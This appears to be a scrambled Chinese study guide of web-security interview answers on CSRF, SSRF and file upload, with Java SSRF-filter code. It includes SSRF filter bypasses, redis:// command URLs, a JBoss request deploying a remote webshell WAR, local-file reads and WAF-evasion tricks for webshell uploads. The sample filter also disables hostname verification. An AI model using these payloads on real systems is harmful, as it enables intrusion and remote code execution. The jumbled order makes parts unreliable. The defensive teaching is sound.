二、CSRF 的成因?主要的两种防御方式?#
1. 服务端 的防御:验证HTTP Referer字段
根据HTTP协议,在HTTP头中有一个字段叫 Referer ,它 记录了该HTTP请求的来源地址 。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。比如某银行
的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录bank.test,然后通过点击页面上的按钮来触发转账事件。
当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL(本例中,通常是以bank. test域名开头的地址)。而如果攻击者要对银行网站实施CSRF攻击,
他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个
转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,
则拒绝该请求。
2. 在HTTP头中自定义属性(Token)并验证
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利
用用户自己的Cookie来通过安全验证。
由此可知,抵御CSRF攻击的 关键 在于:在 请求中放入攻击者所不能伪造的信息 , 并且该信息不存在于Cookie之中 。鉴于此,系统开发者可以在HTTP头中自定义的属性里加
入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
通过XMLHttpRequest这个类,可以 一次性 给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。通过这个类请求的地址不会被记录到浏览器的地址栏,
也不用担心token会通过Referer泄露到其他网站。三、对 csrf 等漏洞深层原理的理解,说一下个人利用的一个思路#
1.攻击者构造一个针对Web应用程序的CSRF攻击,例如在另一个网站上放置一个恶意链接。
2.用户在没有注销Web应用程序的情况下,点击了攻击者构造的恶意链接。
3.攻击者成功地伪造了用户的请求,并将请求发送到Web应用程序。
4.Web应用程序接收到请求后,未对请求来源进行合理的验证,于是误认为该请求是合法的,并执行了攻击者的恶意操作。
要防范CSRF漏洞,开发人员可以采取以下措施:#
1.在敏感操作中添加CSRF Token,用于验证请求来源的合法性。
2.禁止使用GET方法进行敏感操作,因为GET请求可以被缓存,容易被攻击者重新发送。
3.在HTTP头中添加Referer信息,用于验证请求来源的合法性。
4.对于敏感操作,要求用户进行二次身份验证,例如输入密码、短信验证码等。
1 )修改密码地方#
2 )添加用户的地方#
3 )数据库备份#
4 )数据交易、支付#
XSS(Cross-Site Scripting)漏洞与CSRF(Cross-Site Request Forgery)漏洞是Web应用程序中非常常见的两种安全漏洞,它们都能够导致Web应用程序的安全性受到威胁。
与CSRF相似的漏洞是Clickjacking(点击劫持),这是一种通过欺骗用户点击一个看似无害的按钮或链接的方式,来实现对Web应用程序的攻击。
与CSRF结合危害最大的漏洞是XSS漏洞。攻击者可以通过XSS漏洞注入恶意脚本,然后通过这些恶意脚本发起CSRF攻击,从而窃取用户的敏感信息或者进行其他恶意行为。例 如,攻击者可以在一个社交网站的评论区注入恶意脚本,然后在这个脚本中包含一个CSRF攻击,当用户访问这个页面时,恶意脚本就会自动发起CSRF攻击,从而窃取用户的账号 和密码。 因此,XSS和CSRF漏洞是一对危害最大的安全漏洞,开发人员需要对Web应用程序的输入、输出、存储等方面进行全面的检查和防护,以避免这些漏洞的发生。同时, 用户也需要保持警惕,不要轻易相信来路不明的链接和内容,以免被恶意攻击所害。
SSRF 形成的原因#
大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。SSRF#
漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代 理攻击远程和本地的服务器。
SSRF存在的地方
所有调外部资源的参数都有可能存在 ssrf 漏洞
1 )分享:通过 URL 地址分享网页内容
2 )转码服务
3 )在线翻译
4 )图片加载与下载:通过 URL 地址加载或下载图片
5 )图片、文章收藏功能
6 )未公开的 api 实现以及其他调用 URL 的功能
7 )从 URL 关键字中寻找 share、wap、url、link、src、source
防御:
黑名单过滤:
1 )过滤 10.0.0.1/8 172.16.0.0/12 192.168.0.0/16
2 )过滤 file:///、dict://、gopher://、ftp:// 危险 schema
3 )对返回的内容进行识别最佳方法:
1 )使用地址白名单
2 )对返回内容进行识别
四、说一下网站存在 csrf 漏洞的地方#
五、跟 csrf 相似的漏洞你知道哪个? csrf 与那个漏洞结合危害最大?#
第十章 SSRF#
一、为什么会产生 Ssrf 这个漏洞?有哪些地方会存在 ssrf 漏洞?说一下 SSRF 原理与防御#
3 )需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用#
CURLOPT_FOLLOWLOCATION;然后通过域名获取目标 ip,并过滤内部 ip;最后识别返回的内容是否与假定内容一致
要快速找到可能存在SSRF漏洞的地方,可以采取以下几个方法:#
1.扫描工具:使用专门的漏洞扫描工具,例如Burp Suite、Nessus等,进行自动化扫描。这些工具可以帮助你发现一些常见的SSRF漏洞,但是并不能保证发现所有的漏洞。
2.手动测试:手动测试是最有效的方法之一。可以使用一些常见的测试用例,例如将URL地址改为localhost、127.0.0.1、[::1]等,看是否可以成功访问内部资源。同时还需要对 URL参数进行测试,例如尝试将URL的端口号修改为其他服务的端口号,看是否可以访问到该服务。
3.代码审计:对应用程序的源代码进行审计,查找是否存在对外部URL的直接调用,以及是否进行了合理的输入验证和输出过滤。需要注意的是,SSRF漏洞很容易出现在一些使 用第三方库的代码中,因此要对所有使用的库进行审计。
4.端口扫描:使用端口扫描工具,例如nmap,扫描内部网络中的主机和端口,查找是否存在可以被访问的服务。如果找到了可访问的服务,那么就要对应用程序进行审计,看是 否存在可以利用SSRF漏洞来访问该服务的代码。
总之,快速找到可能存在SSRF漏洞的地方需要采取多种方法,包括扫描工具、手动测试、代码审计和端口扫描。同时还需要掌握一些常见的SSRF漏洞测试用例,以及对SSRF漏洞 的原理和常见攻击方式进行深入理解。
通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等
造成漏洞的一些函数
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。
SSRF(Server-Side Request Forgery,服务端请求伪造)攻击通常使用的是 HTTP 或 HTTPS 协议,用来向目标服务器发起伪造的请求。但是,在某些情况下,攻击者也可以使 用其他协议如FTP、SMTP等进行文件写入操作。具体要看目标应用程序对协议的处理方式。
1.@符号绕过:#
在某地址 1 后添加@再次添加地址 2 ,浏览器会自动返回地址 2 数据#
2.IP地址转换:#
对内网请求的IP地址进行各进制的编码#
3.转换短网址:#
二、如何快速找到可能存在 SSRF 的地方?#
三、ssrf 有哪些利用思路?#
四、ssrf 文件写入是用什么协议?#
五、SSRF 漏洞怎么绕过?#
http://www.xxx.com@www.kxsy.work/例如:120.26.86.156
二进制 = 1111000000110100101011010011100
十六进制 = 0x781A569C
十进制 = 2014992028https://www.985.so/
例:http://www.kxsy.work/ = http://u6.gg/ks69x4.特殊符号替换绕过:#
5.302跳转绕过:#
6.xip.io绕过:会将解析到子域
7.利用Enclosed alphanumerics绕过:
List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ (1) (2) (3) (4) (5) (6) (7) (8) (9) (10) (11) (12) (13) (14) (15) (16) (17) (18) (19) (20) 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. (a) (b) (c) (d) (e) (f) (g) (h) (i) (j) (k) (l) (m) (n) (o) (p) (q) (r) (s) (t) (u) (v) (w) (x) (y) (z) Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
8.其他协议绕过 :
配合File、 GOPHER等协议的对目标进行信息探测
结合Redis的SSRF攻击,攻击者可以通过控制SSRF的URL来执行Redis的命令。例如,攻击者可以构造如下的URL:
这个URL中,redis://是Redis的URI scheme,127.0.0.1是Redis的IP地址, 6379 是Redis的端口号,SET是Redis的命令,mykey是Redis中的键(key),myvalue是 Redis中的值(value)。攻击者可以将这个URL注入到SSRF漏洞中,从而实现对Redis的操作。 攻击者还可以利用Redis的一些特性来执行更加复杂的攻击,例如:
SSRF(Server-Side Request Forgery,服务端请求伪造)攻击可以探测到目标服务器上的敏感信息,包括但不限于: 1.内部网络拓扑结构:可以通过访问内部的地址或者服务来探测到内部网络拓扑结构,例如访问内部的 DNS、LDAP、SMTP 等服务。 2.内部应用:可以通过访问内部应用来获取敏感信息,例如访问内部的管理控制台、数据库、文件服务器等。 3.云环境:可以通过访问云环境内部的 API 接口来获取敏感信息,例如访问 AWS 的元数据服务、Google Cloud Platform 的元数据服务等。
六、结合Redis怎么利用?#
1. 利用Redis的CONFIG命令来获取Redis的配置信息,包括Redis的密码、最大连接数、最大内存使用量等。
2. 利用Redis的FLUSHALL命令来清空所有的Redis数据。
3. 利用Redis的SCRIPT LOAD命令来加载Lua脚本,从而执行更加复杂的操作。 为了防止Redis的SSRF攻击,可以采取以下措施:
4. 对输入的URL进行合理的验证和过滤,防止恶意的URL注入到SSRF漏洞中。
5. 将Redis服务器部署在防火墙之后,只允许可信IP地址访问Redis服务。
6. 对Redis服务器进行身份验证,例如设置密码等,防止未经授权的访问。
7. 对Redis服务器进行安全配置,例如限制最大连接数、限制最大内存使用量等。
8. 对Redis的命令进行限制,只允许执行一些安全的命令,例如只允许执行读取数据的命令,不允许执行修改数据的命令。七、SSRF 能探测哪些信息,怎么使用?#
例:
http://www.kxsy.work/ = http://www。kxsy。work/
localhost或者0.0.0.0<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}http://10.0.0.1.xip.io = 10.0.0.1
http://www.10.0.0.1.xip.io= 10.0.0.1
http://mysite.10.0.0.1.xip.io = 10.0.0.1
foo.http://bar.10.0.0.1.xip.io = 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
http://www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com复制代码4.本地文件系统:可以通过访问内网中的文件服务器来读取敏感文件。#
5.远程代码执行:可以通过 SSRF 漏洞执行远程代码,进而控制目标服务器。#
本文只针对内网探测类的SSRF攻击类型来进行防御修复讨论,由于在不同的业务场景下,制定一套相对通用的SSRF修复方案时是存在一定困难的,一般会产生两种不同的场景:#
我们根据不同的业务场景,设定了 3 种修复方案,其中前两种分别对应以上两个业务场景,第三种作为最终的解决方案,但实施起来比较复杂,目前无法实现,仅作为探索。#
修复方案代码仅基于Java编写
这种场景修复起来较为简单,把服务器需要访问的资源限制在一定范围之内即可。#
对url中host部分先进行域名有效字符的校验,防止使用反斜线等特殊字符进行绕过;再基于白名单对二级域名进行校验。
例如上述代码提供的ssrfFilter方法就可以对url进行一次过滤,符合规则返回true,可以使服务器该url进行访问,反之则不能访问。
其中的domainWhiteList部分可以由开发人员根据业务需求指定。
八、Ssrf 的漏洞利用和修复方式?#
1. 服务器需要访问的资源可以限制在一定范围之内,比如我们自己的oss服务器域名
2. 服务器需要访问的资源无法设限,必须要访问任意的网络资源1 、可对域名添加白名单的修复方案#
2. 无法添加白名单的修复方案#
/*- ssrf可增加白名单的修复方案,检查域名非法字符,白名单限制二级域名 */ public boolean ssrfFilterSecondaryDomain(String externalUrl) throws MalformedURLException {
URL url = new URL(externalUrl);
String domain = url.getHost();
if (!domainFilter(domain)){
return false;
}
String secondaryDomain = getSecondaryDomain(domain);List\<String\> domainWhiteList = new ArrayList<>();
domainWhiteList.add("yuanfudao.com");
domainWhiteList.add("fbcontent.cn");for (Iterator\<String\> it = domainWhiteList.iterator(); it.hasNext();) {
String value = it.next();
if(secondaryDomain.equals(value)){
return true;
}
}
return false;
}private static String getSecondaryDomain(String domain) {
String[] domains = domain.split("\\.");
return domains[domains.length - 2] + "." + domains[domains.length - 1];
}private static boolean domainFilter(String domain) {
String regex = "[^a-zA-Z0-9\\.-]";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(domain);
return !matcher.find();
}/*- 无法添加白名单的修复方案 检测非法字符CRLF ->通过域名解析ip ->判断ip是否为内网地址 ->固定url中的host部分为该ip,同时设置headers中的host为域名,防止某些站点检测host不为域名时不能访问 ->请求不跟随 302 跳转 可解决大部分ssrf问题 */ public URLConnection httpSecureAccess(String externalUrl) throws IOException {
URL exurl = new URL(externalUrl);
String host = exurl.getHost();
String protocol = exurl.getProtocol();
// 判断是否存在非法特殊字符
String decode = URLDecoder.decode(externalUrl, "utf-8");由于业务需求导致无法添加域名的白名单时,可从多个角度对url进行限制,尽量防止攻击的发生。
if (decode.contains("\r\n")){
//System.out.println("Illegal characters CRLF error");
throw new IllegalArgumentException();
}
// 判断ip是否为内网,目前只判断ipv4
InetAddress[] addresses = InetAddress.getAllByName(host);
List\<String\> ips = new ArrayList<>();
for (int i = 0; i < addresses.length; i++) {
if(addresses[i] instanceof Inet4Address) {
if (ipIsInner(addresses[i].getHostAddress())) {
//System.out.println("Illegal address error");
throw new IllegalArgumentException();
} else {
ips.add(addresses[i].getHostAddress());
}
}
}
// 若该域名对应多个ip则随机取值,同时重新拼接URL,设置host为域名,同时不跟随 302 跳转
Collections.shuffle(ips);
String ip = ips.get(0);
String newurl = externalUrl.replaceFirst(host, ip);
System.setProperty("sun.net.http.allowRestrictedHeaders", "true");
URL url = new URL(newurl);
// http和https请求分别处理,其他协议直接拒绝
if (protocol.equals("https")) {HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();
connection.setInstanceFollowRedirects(false);
connection.setRequestMethod("GET");
connection.setRequestProperty("Host", host);
connection.setHostnameVerifier(new TrustAnyHostnameVerifier());
return connection;
}
else if (protocol.equals("http")) {HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setInstanceFollowRedirects(false);
connection.setRequestMethod("GET");
connection.setRequestProperty("Host", host);
return connection;
}
else {
//System.out.println("Illegal protocol error");
throw new IllegalArgumentException();
}
}static class TrustAnyHostnameVerifier implements HostnameVerifier {
public boolean verify(String hostname, SSLSession session){
return true;
}
}static List\<Pattern\> ipFilterRegexList = new ArrayList<>();
static {Set\<String\> ipFilter = new HashSet\<String\>();
ipFilter.add("^10\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])"
+ "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])" + "\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
ipFilter.add("^172\\.(1[6789]|2[0-9]|3[01])\\" + ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\"
+ ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
ipFilter.add("^192\\.168\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])\\"
+ ".(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[0-9])$");
ipFilter.add("127.0.0.1");
ipFilter.add("0.0.0.0");
ipFilter.add("localhost");for (String reg : ipFilter) {
ipFilterRegexList.add(Pattern.compile(reg));
}
}public static boolean ipIsInner(String ip) {
for (Pattern reg : ipFilterRegexList) {
Matcher matcher = reg.matcher(ip);
if (matcher.find()){
return true;
}
}
return false;
}观察公司业务发现http请求的类大都使用的是HttpURLConnection,因此上述代码也以该类作为演示,其他类具体使用到的方法可能略有不同,但修复思路是相同的。
这种情况下的修复思路如下:
使用ip替换域名这一操作会导致访问资源出现一些问题,比如某些站点会对headers中的host进行校验,如果host不是域名则访问会被拒绝;以及https证书校验的过程也会受 阻。
以上问题的解决方案:
上述代码提供的httpSecureAccess方法,输入为url,如果该url符合规范则返回一个URLConnection类的connection连接,开发人员可以直接使用这个connection进行资源读取 等操作;如果url不符合规范则直接抛出异常。
这部分修复方案可以保证绝大多数情况下对SSRF进行防御,但由于对http请求进行了较多的修改,可能会产生其他问题,因此还要经过实践验证。
最安全的修复方案是增加服务器集群,专门用来对需要访问资源的服务进行代理。#
可分为内网集群和外网集群, 例如需要访问外网资源的服务走外网的代理集群,且该集群对办公内网隔离。#
这样一来所有访问资源的请求都由专用的服务器集群发出,避免了内网探测的风险;一旦有利用SSRF进行任意文件读取的场景,也不会对生产环境的服务器本身造成危害。#
但是该方案操作难度较大,我们现在的情况还不具备设置服务器集群作为代理的条件,因此仅作为一种思路进行讨论。#
SSRF漏洞结合Redis可以造成比较严重的安全问题。攻击者可以利用SSRF漏洞来探测Redis服务,获取Redis的敏感信息或者执行恶意操作,例如删除Redis中的数据、修改Redis 中的数据等。
攻击者可以通过以下步骤来利用SSRF漏洞攻击Redis:
1. 限制访问方法只能使用GET#
2. 限制访问的协议只能是http或https,其他协议直接拒绝访问
3. 检测特殊字符CRLF,存在则直接拒绝访问
4. 设置setInstanceFollowRedirects属性为false,禁止跟随 302 跳转;禁止跳转的目的是防止攻击者利用跳转访问内网,从而绕过之后的黑名单校验
5. 解析url中域名对应的ipv4地址:
1. 该地址先过黑名单校验,不允许是内网地址,利用正则表达式对ip进行过滤
2. 使用ip对url中的域名进行替换,访问资源时都以ip进行访问 ;这样可以防御DNS Rebinding类的攻击1. 使用setRequestProperty方法设置host头为域名,这样使用ip访问资源则不会受阻;但必须先设置System.setProperty("sun.net.http.allowRestrictedHeaders", "true"),
才可以使host字段被修改,否则不能生效,上述代码中都有所体现
2. https请求时使用setHostnameVerifier方法直接信任该域名的证书(这样直接信任证书不确定会不会带来其他安全问题,后续再进行研究讨论)3. 更安全的修复方案#
九、ssrf+redis 怎么利用?#
1. 构造恶意URL:攻击者构造一个恶意URL,其中包含Redis的命令,例如"redis://127.0.0.1:6379/SET/mykey/malicious-data"。/*- 更安全的修复方案,通过代理服务器访问外网资源,且该服务器对内网隔离。可更彻底的解决ssrf问题,但修复成本较高。 */ public HttpURLConnection httpProxyAccess(String externalUrl) throws IOException {
String proxyHost = "10.x.x.x";
int proxyPort = 8080;String proxyUser = "";
String proxyPass = "";InetSocketAddress isa = new InetSocketAddress(proxyHost, proxyPort);
Proxy proxy = new Proxy(Proxy.Type.HTTP, isa);
Authenticator.setDefault(new CustomAuthenticator(proxyUser, proxyPass));URL url = new URL(externalUrl);
HttpURLConnection connection = (HttpURLConnection)url.openConnection(proxy);
connection.setInstanceFollowRedirects(false);
connection.setRequestMethod("GET");
return connection;
}static class CustomAuthenticator extends Authenticator {
private String user = "";
private String password = "";public CustomAuthenticator(String user, String password) {
this.user = user;
this.password = password;
}protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(user, password.toCharArray());
}
}SSRF是由于服务器获取其他服务器的相关信息的功能中形成的。#
在对功能上存在SSRF漏洞中URL地址特征的观察,通过一段时间的收集,大致有以下关键字:#
如果利用google语法加上这些关键字去寻找SSRF漏洞,耐心的验证,现在还是可以找到SSRF漏洞。
例如: http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
排除法一
你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。
排除法二
2. 触发SSRF漏洞:攻击者将恶意URL提交到Web应用程序中,通过SSRF漏洞来触发Redis的命令。
3. 执行Redis命令:Web应用程序将恶意URL中的Redis命令发送到Redis服务器,Redis服务器执行了该命令,例如将"malicious-data"数据存储到Redis数据库中。 攻击者还可
以利用SSRF漏洞来探测Redis服务的敏感信息,例如Redis的版本号、密码等敏感信息。攻击者可以通过以下步骤来探测Redis服务的敏感信息:
4. 构造恶意URL:攻击者构造一个恶意URL,其中包含Redis的命令,例如"redis://127.0.0.1:6379/INFO"。
5. 触发SSRF漏洞:攻击者将恶意URL提交到Web应用程序中,通过SSRF漏洞来触发Redis的命令。
6. 获取Redis敏感信息:Web应用程序将恶意URL中的Redis命令发送到Redis服务器,Redis服务器返回Redis的敏感信息,例如Redis的版本号、密码等敏感信息。 为了防止
SSRF漏洞攻击Redis,可以采取以下措施:
7. 对Web应用程序中的URL进行合理的验证和过滤,防止恶意URL的注入。
8. 将Redis服务器部署在防火墙之后,只允许可信IP地址访问Redis服务。
9. 对Redis服务器进行身份验证,例如设置密码等,防止未经授权的访问。
10. 对Redis服务器进行安全配置,例如限制最大连接数、限制最大内存使用量等。十、你怎么认为一个网站会存在 ssrf 漏洞呢?#
从web功能上寻找#
分享:通过URL地址分享网页内容#
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览#
在线翻译#
图片加载与下载:通过URL地址加载或下载图片#
图片、文章收藏功能#
未公开的API实现以及其他调用URL的功能#
从URL关键字中寻找#
使用排除法进行检测#
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...你可以使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应 该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是SSRF(前提设置burpsuite截断图片的请求,默认是放行的)。
此处说明下,为什么这边用排除法来判断是否存在SSRF,举个例子:http://read.*******.com/image?imageUrl=http://www.baidu.com/img/bd_logo1.png
现在大多数修复SSRF的方法基本都是区分内外网来做限制(暂不考虑利用此问题来发起请求,攻击其他网站,从而隐藏攻击者IP,防止此问题就要做请求的地址的白名单了),#
如果我们请求 :http://read.******.com/image?imageUrl=http://10.10.10.1/favicon.ico
而没有内容显示,我们是判断这个点不存在SSRF漏洞,还是http://10.10.10.1/favicon.ico这个地址被过滤了,还是http://10.10.10.1/favicon.ico这个地址的图片文 件不存在,如果我们事先不知道http://10.10.10.1/favicon.ico这个地址的文件是否存在的时候是判断不出来是哪个原因的,所以我们采用排除法。
1 、更改IP地址写法#
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:#
对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如 192.168.0.1 这个IP地址我们可以改写成:#
2 、利用解析URL所出现的问题#
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很 有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
SSRF绕过IP限制#
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$(1) 8进制格式:0300.0250.0.1
(2) 16进制格式:0xC0.0xA8.0.1
(3) 10进制整数格式: 3232235521
(4) 16进制整数格式:0xC0A80001http://www.baidu.com@192.168.0.1/具体的攻击实例可以参见博文:SSRF攻击实例解析#
1 、 大多数社交网站都提供了通过用户指定的url上传图片的功能 。
如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URL,比如:
然后根据服务器的返回信息来判断端口是否开放。#
2 、攻击应用程序#
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。比如,探测到 8987 端口开 放,则可以请求http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA来尝试溢出。
3 、内网web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至 详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyAdmin是否安装。
以一个来自wooyun的百度案例,在百度识图中,输入http://10.50.33.43:8080/manager/images/tomcat.gif,可以识别出服务器使用了tomcat。
4 、攻击内网web应用
仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。只需要将网马放在公网服务器上,然后发送 这个请求即可:
5 、读取本地文件#
上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:file:///C:/Windows/win.ini。
通常有以下 5 个思路:#
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入 后台存储,需要的时候再调用出来返回。
但如果代码写的不严谨,没有对上传的文件的文件名、文件类型等等进行严格限制的话,攻击者如果成功上传了恶意脚本文件就可以达到控制网站等目的。
SSRF的攻击场景#
http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
http://127.0.0.1:8082/profiles/minimal/translations/README.txtSSRF的防御手段#
1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合
标准。
2. 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3. 限制请求的端口为http常用的端口,比如, 80 , 443 ,8080.8090
4. 黑名单内网ip。避免应用被用来获取内网数据,攻击内网。
5. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题。第十一章 文件上传、文件包含、文件下载#
一、说一下文件上传方式与防御#
&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war1. 客户端检测绕过(js检测): 利用firebug禁用js或使用burp代理工具可轻易突破。
2. 服务端MIME检测绕过(Content-Type检测): 使用burp代理,修改Content-Type的参数
3. 服务端扩展名检测绕过: 文件名大小写绕过,例如Php,AsP等类似的文件名 后缀名字双写嵌套,例如pphphp,asaspp等 可以利用系统会对一些特殊文件名做默认修改的系统特性绕过 可以利用asp程序中的漏洞,使用截断字符绕过 可以利用不再黑名单列表中却能够成功执行的同义后缀名绕过黑名单的限制 可以利用解析/包含漏洞配合上传一个代码注入过的白名单文件绕过
4. 服务端内容检测绕过:
4.1文件内容头检测 一些上传的地方会检测文件内容头判断是不是允许上传的文件类型,不同类型的文件文件头也是不一样的
4.2文件加载检测绕过#
针对渲染/加载测试的攻击方式是代码注入绕过:使用winhex在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区
针对二次渲染测试的攻击方式是共计文件加载器自身:如果要对文件加载器进行攻击,常见的就是溢出攻击;上传自己的恶意文件后,服务器的文件加载器会主动进行加载测 试,加载测试时被溢出攻击执行shellcode,比如access/mdb溢出。
文件上传的类型:#
防御#
1. 文件扩展名服务端白名单校验#
2. 文件内容服务端校验#
3. 上传文件重命名#
4. 隐藏上传文件路径#
5. 文件上传的目录设置为不可执行#
6. 单独设置文件服务器的域名#
二、说一下你知道的文件上传绕 waf 的方式说一下常见文件上传手段修复建议#
很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。
- 寻找黑名单之外的扩展名
比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。
- 构造畸形的数据包,“打乱”waf的检测
这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的 (1) 删掉content-type (2) 构造多个filename 比如这样:
又或者这样:#
(3) 把filename参数变畸形 正常的数据包,是这样:
Content-Disposition: form-data; name="file"; filename="100x100.jsp"waf拦截了:
把filename变成这样(后面多了个双引号):
Content-Disposition: form-data; name="file"; filename="100x100.jsp""可以看到waf直接拉胯了:
一般来说,waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”,比如exec()、eval()这些函数。这个时候怎么办呢?
- 图片马
“上古时期”经常用这个绕waf什么的,现在估计不太行了。
- 文件包含
利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。
- 替换被检测的内容
这个是我用得比较多的方法。 比如java中Runtime.getRuntime().exec()经常被杀或者被拦截,这里可以通过调用ProcessBuilder类来实现相同的功能。 参考: https://www.cnblogs.com/sevck/p/7069251.html https://github.com/huyuanzhi2/fuck_waf_jspx
一. 检测文件扩展名#
二. 检测文件内容#
亲测可以绕过YxlinkWAF 又比如,fileOutputStream被拦截时:
